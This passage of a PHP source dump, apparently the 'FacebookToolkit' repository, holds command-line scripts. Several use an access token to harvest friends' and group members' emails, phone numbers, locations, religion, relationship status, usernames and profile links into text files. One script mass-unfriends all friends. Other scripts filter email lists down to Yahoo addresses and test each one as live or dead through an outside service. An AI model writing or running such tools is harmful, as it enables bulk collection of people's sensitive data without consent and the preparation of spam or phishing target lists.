64 | $climate->br()->info('Cleaning log..');
65 | echo "\n";
66 | progress($progress);
67 | $delete = "tmp/id_membergroup.log";
68 | unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
69 | sleep(3);
70 | $climate->br()->info('Done cleaning log.');
71 |
--------------------------------------------------------------------------------
/tools/getInformation/getInformation.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | $curl = curl_init();
15 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me?fields=id,email,name,birthday,gender,friends,age_range&access_token=" . $token . "&limit=100");
16 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
17 | $wahyuarifpurnomo = curl_exec($curl);
18 | curl_close($curl);
19 |
20 | $decode = json_decode($wahyuarifpurnomo);
21 | $age = $decode->age_range->min;
22 |
23 | $climate->br()->info('Starting collect your Information..');
24 | echo "\n";
25 | progress($progress);
26 |
27 | $colorstring = getName($n);
28 | echo $colors->getColoredString("> Name : $decode->name \n> Email : $decode->email \n> ID : $decode->id \n> Birthday : $decode->birthday \n> Gender : $decode->gender \n> Age : $age", $warifp[$colorstring]) . "\n";
29 |
--------------------------------------------------------------------------------
/tools/getLink/getLink.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | $save_dir = "result/result_urlprofile.txt";
15 | $save_dir_name = "result/result_name-urlprofile.txt";
16 |
17 | $curl = curl_init();
18 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,link&access_token=" . $token . "&limit=5000");
19 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
20 | $wahyuarifpurnomo = curl_exec($curl);
21 | curl_close($curl);
22 |
23 | $decode = json_decode($wahyuarifpurnomo);
24 | $total = $decode->summary->total_count;
25 | $climate->br()->info('Found ' . $total . ' url profile');
26 | sleep(5);
27 | $climate->br()->info('Starting retrieve gender your friends..');
28 | echo "\n";
29 | progress($progress);
30 | $no = 0;
31 | foreach ($decode->data as $hasil) {
32 | $no++;
33 | $colorstring = getName($n);
34 | if (!empty($hasil->link)) {
35 | echo $no . "." . $colors->getColoredString(" $hasil->name | $hasil->link", $warifp[$colorstring]) . "\n";
36 | $save = fopen($save_dir, 'a');
37 | fwrite($save, $hasil->link . "\n");
38 |
39 | $save_name = fopen($save_dir_name, 'a');
40 | fwrite($save_name, $hasil->name . "|" . $hasil->link . "\n");
41 |
42 | fclose($save);
43 | fclose($save_name);
44 | }
45 | }
46 |
47 | $climate->br()->shout('Done, your result saved in folder "' . $save_dir . '" and "' . $save_dir_name . '".');
48 |
--------------------------------------------------------------------------------
/tools/getLinkMemberGroup/getLinkMemberGroup.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | $input = $climate->br()->input('Username or ID Group?');
15 | $id = $input->prompt();
16 |
17 | $curl = curl_init();
18 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.3/" . $id . "/?access_token=" . $token);
19 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
20 | $wahyuarifpurnomo = curl_exec($curl);
21 | curl_close($curl);
22 |
23 | $decode = json_decode($wahyuarifpurnomo);
24 | $name_group = $decode->name;
25 |
26 | $climate->br()->info('Group name is ' . $name_group);
27 | sleep(3);
28 |
29 | $save_dir = "result/result_linkmembergroup_" . $name_group . ".txt";
30 | $save_dir_name = "result/result_name-linkmembergroup_" . $name_group . ".txt";
31 |
32 | $curl = curl_init();
33 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.3/" . $id . "/members/?access_token=" . $token . '&limit=999999999999');
34 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
35 | $wahyuarifpurnomo = curl_exec($curl);
36 | curl_close($curl);
37 |
38 | $decode = json_decode($wahyuarifpurnomo);
39 |
40 | $climate->br()->info('Required retrieve ID Member Group ');
41 | sleep(3);
42 | $climate->br()->info('Starting retrieve ID Member Group..');
43 | echo "\n";
44 | progress($progress);
45 |
46 | $no = 0;
47 | foreach ($decode->data as $hasil) {
48 | $no++;
49 | $colorstring = getName($n);
50 | if (!empty($hasil->id)) {
51 | echo $no . "." . $colors->getColoredString(" $hasil->name | $hasil->id", $warifp[$colorstring]) . "\n";
52 | $save = fopen('tmp/id_membergroup.log', 'a');
53 | fwrite($save, $hasil->id . "\n");
54 | fclose($save);
55 | }
56 | }
57 |
58 | $list = "tmp/id_membergroup.log" or die("File ID not found!");
59 | $climate->br()->info('Retrieve ID success');
60 | sleep(3);
61 | $climate->br()->info('Starting retrieve url profile member on group ' . $name_group . '..');
62 | echo "\n";
63 | progress($progress);
64 |
65 | $file = file_get_contents("$list");
66 | $data = explode("\n", str_replace("\r", "", $file));
67 | $x = 0;
68 | for ($a = 0; $a < count($data); $a++) {
69 | $id = $data[$a];
70 | $x++;
71 |
72 | $curl = curl_init();
73 | curl_setopt($curl, CURLOPT_URL, $url_based . "/" . $id . "?access_token=" . $token);
74 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
75 | $wahyuarifpurnomo = curl_exec($curl);
76 | curl_close($curl);
77 |
78 | $decode = json_decode($wahyuarifpurnomo);
79 | $colorstring = getName($n);
80 | echo $x . "." . $colors->getColoredString(" $decode->name | $decode->link", $warifp[$colorstring]) . "\n";
81 |
82 | $save = fopen($save_dir, 'a');
83 | $save_name = fopen($save_dir_name, 'a');
84 |
85 | fwrite($save, $decode->link . "\n");
86 | fwrite($save_name, $decode->name . "|" . $decode->link . "\n");
87 |
88 | fclose($save);
89 | fclose($save_name);
90 | }
91 |
92 | $climate->br()->shout('Done, your result saved in folder "' . $save_dir . '" and "' . $save_dir_name . '".');
93 | $climate->br()->info('Cleaning log..');
94 | echo "\n";
95 | progress($progress);
96 | $delete = "tmp/id_membergroup.log";
97 | unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
98 | sleep(3);
99 | $climate->br()->info('Done cleaning log.');
100 |
--------------------------------------------------------------------------------
/tools/getLocation/getLocation.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | error_reporting(0);
15 |
16 | $save_dir = "result/result_location.txt";
17 | $save_dir_name = "result/result_name-location.txt";
18 |
19 | $curl = curl_init();
20 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,location&access_token=" . $token . "&limit=5000");
21 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
22 | $wahyuarifpurnomo = curl_exec($curl);
23 | curl_close($curl);
24 |
25 | $decode = json_decode($wahyuarifpurnomo);
26 | $total = $decode->summary->total_count;
27 | $climate->br()->info('Found ' . $total . ' location your friends');
28 | sleep(5);
29 | $climate->br()->info('Starting retrieve location your friends..');
30 | echo "\n";
31 | progress($progress);
32 | $no = 0;
33 | foreach ($decode->data as $hasil) {
34 | $no++;
35 | $colorstring = getName($n);
36 | $location = $hasil->location->name;
37 | if (!empty($location)) {
38 | echo $no . "." . $colors->getColoredString(" $hasil->name | $location", $warifp[$colorstring]) . "\n";
39 | $save = fopen($save_dir, 'a');
40 | fwrite($save, $location . "\n");
41 |
42 | $save_name = fopen($save_dir_name, 'a');
43 | fwrite($save_name, $hasil->name . "|" . $location . "\n");
44 |
45 | fclose($save);
46 | fclose($save_name);
47 | }
48 | }
49 |
50 | $climate->br()->shout('Done, your result saved in folder "' . $save_dir . '" and "' . $save_dir_name . '".');
51 |
--------------------------------------------------------------------------------
/tools/getName/getName.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | $save_dir = "result/result_name.txt";
15 |
16 | $curl = curl_init();
17 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,email&access_token=" . $token . "&limit=5000");
18 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
19 | $wahyuarifpurnomo = curl_exec($curl);
20 | curl_close($curl);
21 |
22 | $decode = json_decode($wahyuarifpurnomo);
23 | $total = $decode->summary->total_count;
24 | $climate->br()->info('Found ' . $total . ' Name');
25 | sleep(5);
26 | $climate->br()->info('Starting retrieve name your friends..');
27 | echo "\n";
28 | progress($progress);
29 | $no = 0;
30 | foreach ($decode->data as $hasil) {
31 | $no++;
32 | $colorstring = getName($n);
33 | if (!empty($hasil->name)) {
34 | echo $no . "." . $colors->getColoredString(" $hasil->name", $warifp[$colorstring]) . "\n";
35 | $save = fopen($save_dir, 'a');
36 | fwrite($save, $hasil->name . "\n");
37 | fclose($save);
38 | }
39 | }
40 |
41 | $climate->br()->shout('Done, your result saved in folder "' . $save_dir . '"');
42 |
--------------------------------------------------------------------------------
/tools/getPhone/getPhone.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | error_reporting(0);
15 |
16 | $save_dir = "result/result_phone.txt";
17 | $save_dir_name = "result/result_name-phone.txt";
18 |
19 | $curl = curl_init();
20 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,email&access_token=" . $token . "&limit=5000");
21 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
22 | $wahyuarifpurnomo = curl_exec($curl);
23 | curl_close($curl);
24 |
25 | $decode = json_decode($wahyuarifpurnomo);
26 |
27 | $climate->br()->info('Required retrieve ID');
28 | sleep(3);
29 | $climate->br()->info('Starting retrieve ID..');
30 | echo "\n";
31 | progress($progress);
32 |
33 | $no = 0;
34 | foreach ($decode->data as $hasil) {
35 | $no++;
36 | $colorstring = getName($n);
37 | if (!empty($hasil->id)) {
38 | echo $no . "." . $colors->getColoredString(" $hasil->name | $hasil->id", $warifp[$colorstring]) . "\n";
39 | $save = fopen('tmp/id.log', 'a');
40 | fwrite($save, $hasil->id . "\n");
41 | fclose($save);
42 | }
43 | }
44 |
45 | $list = "tmp/id.log" or die("File ID not found!");
46 | $climate->br()->info('Retrieve ID success');
47 | sleep(3);
48 | $climate->br()->info('Starting retrieve mobile number your friends..');
49 | echo "\n";
50 | progress($progress);
51 |
52 | $file = file_get_contents("$list");
53 | $data = explode("\n", str_replace("\r", "", $file));
54 | $x = 0;
55 | for ($a = 0; $a < count($data); $a++) {
56 | $id = $data[$a];
57 | $x++;
58 |
59 | $curl = curl_init();
60 | curl_setopt($curl, CURLOPT_URL, $url_based . "/" . $id . "?access_token=" . $token);
61 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
62 | $wahyuarifpurnomo = curl_exec($curl);
63 | curl_close($curl);
64 |
65 | $decode = json_decode($wahyuarifpurnomo);
66 | $colorstring = getName($n);
67 | echo $x . "." . $colors->getColoredString(" $decode->name | $decode->mobile_phone", $warifp[$colorstring]) . "\n";
68 |
69 | $save = fopen($save_dir, 'a');
70 | $save_name = fopen($save_dir_name, 'a');
71 |
72 | fwrite($save, $decode->mobile_phone . "\n");
73 | fwrite($save_name, $decode->name . "|" . $decode->mobile_phone . "\n");
74 |
75 | fclose($save);
76 | fclose($save_name);
77 | }
78 |
79 | $climate->br()->shout('Done, your result saved in folder "' . $save_dir . '" and "' . $save_dir_name . '".');
80 | $climate->br()->info('Cleaning log..');
81 | echo "\n";
82 | progress($progress);
83 | $delete = "tmp/id.log";
84 | unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
85 | sleep(3);
86 | $climate->br()->info('Done cleaning log.');
87 |
--------------------------------------------------------------------------------
/tools/getRelationship/getRelationship.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | error_reporting(0);
15 |
16 | $save_dir = "result/result_relationship.txt";
17 | $save_dir_name = "result/result_name-relationship.txt";
18 |
19 | $curl = curl_init();
20 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,email&access_token=" . $token . "&limit=5000");
21 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
22 | $wahyuarifpurnomo = curl_exec($curl);
23 | curl_close($curl);
24 |
25 | $decode = json_decode($wahyuarifpurnomo);
26 |
27 | $climate->br()->info('Required retrieve ID');
28 | sleep(3);
29 | $climate->br()->info('Starting retrieve ID..');
30 | echo "\n";
31 | progress($progress);
32 |
33 | $no = 0;
34 | foreach ($decode->data as $hasil) {
35 | $no++;
36 | $colorstring = getName($n);
37 | if (!empty($hasil->id)) {
38 | echo $no . "." . $colors->getColoredString(" $hasil->name | $hasil->id", $warifp[$colorstring]) . "\n";
39 | $save = fopen('tmp/id.log', 'a');
40 | fwrite($save, $hasil->id . "\n");
41 | fclose($save);
42 | }
43 | }
44 |
45 | $list = "tmp/id.log" or die("File ID not found!");
46 | $climate->br()->info('Retrieve ID success');
47 | sleep(3);
48 | $climate->br()->info('Starting retrieve relationship status your friends..');
49 | echo "\n";
50 | progress($progress);
51 |
52 | $file = file_get_contents("$list");
53 | $data = explode("\n", str_replace("\r", "", $file));
54 | $x = 0;
55 | for ($a = 0; $a < count($data); $a++) {
56 | $id = $data[$a];
57 | $x++;
58 |
59 | $curl = curl_init();
60 | curl_setopt($curl, CURLOPT_URL, $url_based . "/" . $id . "?access_token=" . $token);
61 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
62 | $wahyuarifpurnomo = curl_exec($curl);
63 | curl_close($curl);
64 |
65 | $decode = json_decode($wahyuarifpurnomo);
66 | $colorstring = getName($n);
67 | echo $x . "." . $colors->getColoredString(" $decode->name | $decode->relationship_status", $warifp[$colorstring]) . "\n";
68 |
69 | $save = fopen($save_dir, 'a');
70 | $save_name = fopen($save_dir_name, 'a');
71 |
72 | fwrite($save, $decode->relationship_status . "\n");
73 | fwrite($save_name, $decode->name . "|" . $decode->relationship_status . "\n");
74 |
75 | fclose($save);
76 | fclose($save_name);
77 | }
78 |
79 | $climate->br()->shout('Done, your result saved in folder "' . $save_dir . '" and "' . $save_dir_name . '".');
80 | $climate->br()->info('Cleaning log..');
81 | echo "\n";
82 | progress($progress);
83 | $delete = "tmp/id.log";
84 | unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
85 | sleep(3);
86 | $climate->br()->info('Done cleaning log.');
87 |
--------------------------------------------------------------------------------
/tools/getReligion/getReligion.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | error_reporting(0);
15 |
16 | $save_dir = "result/result_religion.txt";
17 | $save_dir_name = "result/result_name-religion.txt";
18 |
19 | $curl = curl_init();
20 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,email&access_token=" . $token . "&limit=5000");
21 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
22 | $wahyuarifpurnomo = curl_exec($curl);
23 | curl_close($curl);
24 |
25 | $decode = json_decode($wahyuarifpurnomo);
26 |
27 | $climate->br()->info('Required retrieve ID');
28 | sleep(3);
29 | $climate->br()->info('Starting retrieve ID..');
30 | echo "\n";
31 | progress($progress);
32 |
33 | $no = 0;
34 | foreach ($decode->data as $hasil) {
35 | $no++;
36 | $colorstring = getName($n);
37 | if (!empty($hasil->id)) {
38 | echo $no . "." . $colors->getColoredString(" $hasil->name | $hasil->id", $warifp[$colorstring]) . "\n";
39 | $save = fopen('tmp/id.log', 'a');
40 | fwrite($save, $hasil->id . "\n");
41 | fclose($save);
42 | }
43 | }
44 |
45 | $list = "tmp/id.log" or die("File ID not found!");
46 | $climate->br()->info('Retrieve ID success');
47 | sleep(3);
48 | $climate->br()->info('Starting retrieve religion your friends..');
49 | echo "\n";
50 | progress($progress);
51 |
52 | $file = file_get_contents("$list");
53 | $data = explode("\n", str_replace("\r", "", $file));
54 | $x = 0;
55 | for ($a = 0; $a < count($data); $a++) {
56 | $id = $data[$a];
57 | $x++;
58 |
59 | $curl = curl_init();
60 | curl_setopt($curl, CURLOPT_URL, $url_based . "/" . $id . "?access_token=" . $token);
61 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
62 | $wahyuarifpurnomo = curl_exec($curl);
63 | curl_close($curl);
64 |
65 | $decode = json_decode($wahyuarifpurnomo);
66 | $colorstring = getName($n);
67 | echo $x . "." . $colors->getColoredString(" $decode->name | $decode->religion", $warifp[$colorstring]) . "\n";
68 |
69 | $save = fopen($save_dir, 'a');
70 | $save_name = fopen($save_dir_name, 'a');
71 |
72 | fwrite($save, $decode->religion . "\n");
73 | fwrite($save_name, $decode->name . "|" . $decode->religion . "\n");
74 |
75 | fclose($save);
76 | fclose($save_name);
77 | }
78 |
79 | $climate->br()->shout('Done, your result saved in folder "' . $save_dir . '" and "' . $save_dir_name . '".');
80 | $climate->br()->info('Cleaning log..');
81 | echo "\n";
82 | progress($progress);
83 | $delete = "tmp/id.log";
84 | unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
85 | sleep(3);
86 | $climate->br()->info('Done cleaning log.');
87 |
--------------------------------------------------------------------------------
/tools/getUnfriend/getUnfriend.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | error_reporting(0);
15 |
16 | $curl = curl_init();
17 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,email&access_token=" . $token . "&limit=5000");
18 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
19 | $wahyuarifpurnomo = curl_exec($curl);
20 | curl_close($curl);
21 |
22 | $decode = json_decode($wahyuarifpurnomo);
23 |
24 | $climate->br()->info('Required retrieve ID');
25 | sleep(3);
26 | $climate->br()->info('Starting retrieve ID..');
27 | echo "\n";
28 | progress($progress);
29 |
30 | $no = 0;
31 | foreach ($decode->data as $hasil) {
32 | $no++;
33 | $colorstring = getName($n);
34 | if (!empty($hasil->id)) {
35 | echo $no . "." . $colors->getColoredString(" $hasil->name | $hasil->id", $warifp[$colorstring]) . "\n";
36 | $save = fopen('tmp/id.log', 'a');
37 | fwrite($save, $hasil->id . "\n");
38 | fclose($save);
39 | }
40 | }
41 |
42 | $list = "tmp/id.log" or die("File ID not found!");
43 | $climate->br()->info('Retrieve ID success');
44 | sleep(3);
45 | $climate->br()->info('Starting unfriend or deleting your friends form data friends..');
46 | echo "\n";
47 | progress($progress);
48 |
49 | $file = file_get_contents("$list");
50 | $data = explode("\n", str_replace("\r", "", $file));
51 | $x = 0;
52 | for ($a = 0; $a < count($data); $a++) {
53 | $id = $data[$a];
54 | $x++;
55 | $curl = curl_init();
56 | curl_setopt($curl, CURLOPT_URL, $url_based . "/me/friends?uid=" . $id . "&access_token=" . $token);
57 | curl_setopt($curl, CURLOPT_CUSTOMREQUEST, "DELETE");
58 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
59 | $wahyuarifpurnomo = curl_exec($curl);
60 | curl_close($curl);
61 | $colorstring = getName($n);
62 | if ($wahyuarifpurnomo == true) {
63 | echo $x . "." . $colors->getColoredString(" ID : $id | Success unfriend ..", $warifp[$colorstring]) . "\n";
64 | } else {
65 | echo $x . "." . $colors->getColoredString(" ID : $id | Failed unfriend ..", $warifp[$colorstring]) . "\n";
66 | }
67 | }
68 |
69 | $climate->br()->shout('Done, unfriend or deleting your friends form data friends.');
70 | $climate->br()->info('Cleaning log..');
71 | echo "\n";
72 | progress($progress);
73 | $delete = "tmp/id.log";
74 | unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
75 | sleep(3);
76 | $climate->br()->info('Done cleaning log.');
77 |
--------------------------------------------------------------------------------
/tools/getUsername/getUsername.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | error_reporting(0);
15 |
16 | $save_dir = "result/result_username.txt";
17 | $save_dir_name = "result/result_name-username.txt";
18 |
19 | $curl = curl_init();
20 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,email&access_token=" . $token . "&limit=5000");
21 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
22 | $wahyuarifpurnomo = curl_exec($curl);
23 | curl_close($curl);
24 |
25 | $decode = json_decode($wahyuarifpurnomo);
26 |
27 | $climate->br()->info('Required retrieve ID');
28 | sleep(3);
29 | $climate->br()->info('Starting retrieve ID..');
30 | echo "\n";
31 | progress($progress);
32 |
33 | $no = 0;
34 | foreach ($decode->data as $hasil) {
35 | $no++;
36 | $colorstring = getName($n);
37 | if (!empty($hasil->id)) {
38 | echo $no . "." . $colors->getColoredString(" $hasil->name | $hasil->id", $warifp[$colorstring]) . "\n";
39 | $save = fopen('tmp/id.log', 'a');
40 | fwrite($save, $hasil->id . "\n");
41 | fclose($save);
42 | }
43 | }
44 |
45 | $list = "tmp/id.log" or die("File ID not found!");
46 | $climate->br()->info('Retrieve ID success');
47 | sleep(3);
48 | $climate->br()->info('Starting retrieve username your friends..');
49 | echo "\n";
50 | progress($progress);
51 |
52 | $file = file_get_contents("$list");
53 | $data = explode("\n", str_replace("\r", "", $file));
54 | $x = 0;
55 | for ($a = 0; $a < count($data); $a++) {
56 | $id = $data[$a];
57 | $x++;
58 |
59 | $curl = curl_init();
60 | curl_setopt($curl, CURLOPT_URL, $url_based . "/" . $id . "?access_token=" . $token);
61 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
62 | $wahyuarifpurnomo = curl_exec($curl);
63 | curl_close($curl);
64 |
65 | $decode = json_decode($wahyuarifpurnomo);
66 | $colorstring = getName($n);
67 | echo $x . "." . $colors->getColoredString(" $decode->name | $decode->username", $warifp[$colorstring]) . "\n";
68 |
69 | $save = fopen($save_dir, 'a');
70 | $save_name = fopen($save_dir_name, 'a');
71 |
72 | fwrite($save, $decode->username . "\n");
73 | fwrite($save_name, $decode->name . "|" . $decode->username . "\n");
74 |
75 | fclose($save);
76 | fclose($save_name);
77 | }
78 |
79 | $climate->br()->shout('Done, your result saved in folder "' . $save_dir . '" and "' . $save_dir_name . '".');
80 | $climate->br()->info('Cleaning log..');
81 | echo "\n";
82 | progress($progress);
83 | $delete = "tmp/id.log";
84 | unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
85 | sleep(3);
86 | $climate->br()->info('Done cleaning log.');
87 |
--------------------------------------------------------------------------------
/tools/getUsernameMemberGroup/getUsernameMemberGroup.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | $input = $climate->br()->input('Username or ID Group?');
15 | $id = $input->prompt();
16 |
17 | $curl = curl_init();
18 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.3/" . $id . "/?access_token=" . $token);
19 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
20 | $wahyuarifpurnomo = curl_exec($curl);
21 | curl_close($curl);
22 |
23 | $decode = json_decode($wahyuarifpurnomo);
24 | $name_group = $decode->name;
25 |
26 | $climate->br()->info('Group name is ' . $name_group);
27 | sleep(3);
28 |
29 | $save_dir = "result/result_usernamemembergroup_" . $name_group . ".txt";
30 | $save_dir_name = "result/result_name-usernamemembergroup_" . $name_group . ".txt";
31 |
32 | $curl = curl_init();
33 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.3/" . $id . "/members/?access_token=" . $token . '&limit=999999999999');
34 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
35 | $wahyuarifpurnomo = curl_exec($curl);
36 | curl_close($curl);
37 |
38 | $decode = json_decode($wahyuarifpurnomo);
39 |
40 | $climate->br()->info('Required retrieve ID Member Group ');
41 | sleep(3);
42 | $climate->br()->info('Starting retrieve ID Member Group..');
43 | echo "\n";
44 | progress($progress);
45 |
46 | $no = 0;
47 | foreach ($decode->data as $hasil) {
48 | $no++;
49 | $colorstring = getName($n);
50 | if (!empty($hasil->id)) {
51 | echo $no . "." . $colors->getColoredString(" $hasil->name | $hasil->id", $warifp[$colorstring]) . "\n";
52 | $save = fopen('tmp/id_membergroup.log', 'a');
53 | fwrite($save, $hasil->id . "\n");
54 | fclose($save);
55 | }
56 | }
57 |
58 | $list = "tmp/id_membergroup.log" or die("File ID not found!");
59 | $climate->br()->info('Retrieve ID success');
60 | sleep(3);
61 | $climate->br()->info('Starting retrieve username member on group ' . $name_group . '..');
62 | echo "\n";
63 | progress($progress);
64 |
65 | $file = file_get_contents("$list");
66 | $data = explode("\n", str_replace("\r", "", $file));
67 | $x = 0;
68 | for ($a = 0; $a < count($data); $a++) {
69 | $id = $data[$a];
70 | $x++;
71 |
72 | $curl = curl_init();
73 | curl_setopt($curl, CURLOPT_URL, $url_based . "/" . $id . "?access_token=" . $token);
74 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
75 | $wahyuarifpurnomo = curl_exec($curl);
76 | curl_close($curl);
77 |
78 | $decode = json_decode($wahyuarifpurnomo);
79 | $colorstring = getName($n);
80 | echo $x . "." . $colors->getColoredString(" $decode->name | $decode->username", $warifp[$colorstring]) . "\n";
81 |
82 | $save = fopen($save_dir, 'a');
83 | $save_name = fopen($save_dir_name, 'a');
84 |
85 | fwrite($save, $decode->username . "\n");
86 | fwrite($save_name, $decode->name . "|" . $decode->username . "\n");
87 |
88 | fclose($save);
89 | fclose($save_name);
90 | }
91 |
92 | $climate->br()->shout('Done, your result saved in folder "' . $save_dir . '" and "' . $save_dir_name . '".');
93 | $climate->br()->info('Cleaning log..');
94 | echo "\n";
95 | progress($progress);
96 | $delete = "tmp/id_membergroup.log";
97 | unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
98 | sleep(3);
99 | $climate->br()->info('Done cleaning log.');
100 |
--------------------------------------------------------------------------------
/tools/getYahooFilter/getYahooFilter.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | ini_set('memory_limit', '-1');
15 |
16 | $input = $climate->input('List?');
17 | $list = $input->prompt();
18 |
19 | $getfile = file_get_contents($list);
20 | $data = explode("\r\n", $getfile);
21 | $data = array_unique($data);
22 |
23 | $no = 0;
24 |
25 | $save_result = "result/filter/yahoo.txt";
26 |
27 | $climate->br()->info('Starting filter email yahoo.com only from your list..');
28 | echo "\n";
29 | progress($progress);
30 |
31 | foreach ($data as $key => $email) {
32 | $colorstring = getName($n);
33 | $explode = explode("@", $email);
34 | if (!is_numeric($explode[0]) && filter_var($email, FILTER_VALIDATE_EMAIL) && !preg_match("/marketplace.amazon|example|test|auto|cdiscount.com/", $explode[0])) {
35 |
36 | if (preg_match("/yahoo.com/", $explode[1])) {
37 | $x = fopen($save_result, "a+");
38 | fwrite($x, $email . "\r\n");
39 | $no++;
40 | fclose($x);
41 | }
42 | }
43 | echo $no . "." . $colors->getColoredString(" $email", $warifp[$colorstring]) . "\n";
44 | }
45 |
46 | $climate->br()->shout('Done, filtering your list.');
47 | sleep(3);
48 | $climate->br()->shout('File result saved in folder : ' . $save_result);
49 |
--------------------------------------------------------------------------------
/tools/getYahooMailValidation/getYahooMailValidation.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | error_reporting(0);
15 |
16 | $input = $climate->br()->input('List?');
17 | $list = $input->prompt();
18 |
19 | $file = file_get_contents("$list");
20 | $data = explode("\n", str_replace("\r", "", $file));
21 | $x = 0;
22 | $save_live = "result/validation/live.txt";
23 | $save_dead = "result/validation/dead.txt";
24 |
25 | $climate->br()->info('Starting validation your email..');
26 | echo "\n";
27 | progress($progress);
28 |
29 | for ($a = 0; $a < count($data); $a++) {
30 | $email = $data[$a];
31 | $x++;
32 |
33 | $ch = curl_init();
34 | curl_setopt($ch, CURLOPT_URL, $url_valid . '?email=' . $email);
35 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
36 | curl_setopt($ch, CURLOPT_POSTFIELDS, true);
37 | curl_setopt($ch, CURLOPT_POST, 1);
38 |
39 | $headers = array();
40 | $headers[] = 'Connection: Keep-Alive';
41 | curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
42 |
43 | $result = curl_exec($ch);
44 | $hasil = json_decode($result);
45 | curl_close($ch);
46 |
47 | $colorstring = getName($n);
48 |
49 | if ($hasil->status === "live") {
